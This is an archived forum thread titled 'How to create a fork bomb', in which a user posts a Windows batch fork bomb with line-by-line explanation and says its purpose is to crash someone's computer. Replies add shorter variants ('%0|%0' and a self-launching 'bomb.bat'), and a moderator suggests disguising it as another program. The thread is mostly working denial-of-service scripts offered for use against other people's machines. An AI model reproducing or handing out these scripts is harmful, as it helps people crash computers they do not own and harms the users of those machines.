Adblock breaks this site

How to create a fork bomb.

Discussion in 'Archives' started by b0b3rt, May 11, 2010.

  1. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    There is a noticeable lack of fork-bomb guides on sythe, so I thought I'd make a guide. This guide only works on Windows operating systems.
    A fork bomb is a program that will open itself forever, with every instance of it opening another one, generally causing a computer to crash quickly.

    How to Make a Fork Bomb

    Step 1:
    Open notepad, and type in the following:
    [​IMG]

    Explanation of each line of code:
    Code:
    @echo off
    This is not strictly necessary, but it prevents the command window from printing each other line of code that it executes.
    Code:
    :begin
    This is basically a pointer (not the same as a pointer in Object Oriented programming).
    Code:
    start %0
    Starts another instance of the program.
    Code:
    goto begin
    Goes to the :begin pointer, causing an infinite loop.

    Step 2:
    Save the file. In save settings, change the "Save as type" from .txt to All files and name the program yourfilename.bat.
    [​IMG]

    That's it!
    Have fun.
     
  2. Yeha X D

    Yeha X D Forum Addict
    Banned

    Joined:
    Aug 27, 2005
    Posts:
    296
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    Nice stuff.

    Just to point out, Id take the dot off the end of the sentence you use with the file name, some retard will probably try to save the file as yourfilename.bat. and not yourfilename.bat
     
  3. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    If they fail that hard it's probably better for them not to have made it XD
     
  4. SuF

    SuF Legend
    Pirate Retired Global Moderator

    Joined:
    Jan 21, 2007
    Posts:
    14,212
    Referrals:
    28
    Sythe Gold:
    1,234
    Discord Unique ID:
    203283096668340224
    <3 n4n0 Two Factor Authentication User Community Participant Spam Forum Participant Sythe's 10th Anniversary
    How to create a fork bomb.

    This guide is horribly short and uninteresting. All it contains is the code to make a bat window open constantly. You need to add more substance to the code and explain what you are doing.

    You also may not to explain how this could be a good prank to pull on a friend because how it is right now it looks very malicious. You could add in how to disguise it as another program and such.
     
  5. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    Why does the code need more substance? It's a fork bomb, it does what it does.
    I'll go ahead and explain the 4 lines of code, I guess, though other guides don't necessarily explain their steps.

    Nowhere do I say that this should be used as a prank on somebodies friend. I explain in the second sentence that the purpose is to easily crash someone's computer.
    There are no free options for disguising bat files, so I decided to skip that step. Any antivirus worth the name will identify programs that have double extensions.
     
  6. v3-

    v3- Forum Addict
    Banned

    Joined:
    Oct 10, 2009
    Posts:
    510
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    You could expand upon that with different methods for achieving the same task, which I'm assuming in this case is just causing an infinite loop.

    Here is a much smaller piece of code to accomplish a similar task.

    Code:
    %0|%0
    Simply save that as a .bat and watch it run.

    It essentially is a process calling on itself which is calling on itself, and I think you get the point.
     
  7. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    Yes, I know, but I figured this would be easier to understand/explain.

    Thanks anyways =)
     
  8. Mage Tanker

    Mage Tanker Apprentice
    Banned

    Joined:
    May 26, 2009
    Posts:
    664
    Referrals:
    3
    Sythe Gold:
    0
    How to create a fork bomb.

    Thanks For this b0b, Im currently studying programming and its a challenging process, but the more knowledge we gain the more we learn, as a result of this guide I have learnt something:) thanks.
     
  9. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    No problem!

    I wouldn't consider this programming so much as being a script kiddie but most of us started there ^.^
     
  10. m0k3y

    m0k3y Active Member
    Banned

    Joined:
    Mar 2, 2010
    Posts:
    241
    Referrals:
    1
    Sythe Gold:
    0
    How to create a fork bomb.

    Thanks :p
    This can prove useful
     
  11. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    No prob :p
     
  12. &#1085;&#945;&#967;

    &#1085;&#945;&#967; Apprentice
    Banned

    Joined:
    Dec 12, 2009
    Posts:
    678
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    @echo on
    start bomb.bat
    @echo off


    Save it as "bomb.bat".
     
  13. b0b3rt

    b0b3rt Apprentice
    $5 USD Donor

    Joined:
    Aug 3, 2008
    Posts:
    974
    Referrals:
    0
    Sythe Gold:
    0
    How to create a fork bomb.

    Hardcoding is pro.
    Also looping makes it crash faster, obviously. =P
     
< Guide on making a Simple Prank | code to ******** >


 
 
Adblock breaks this site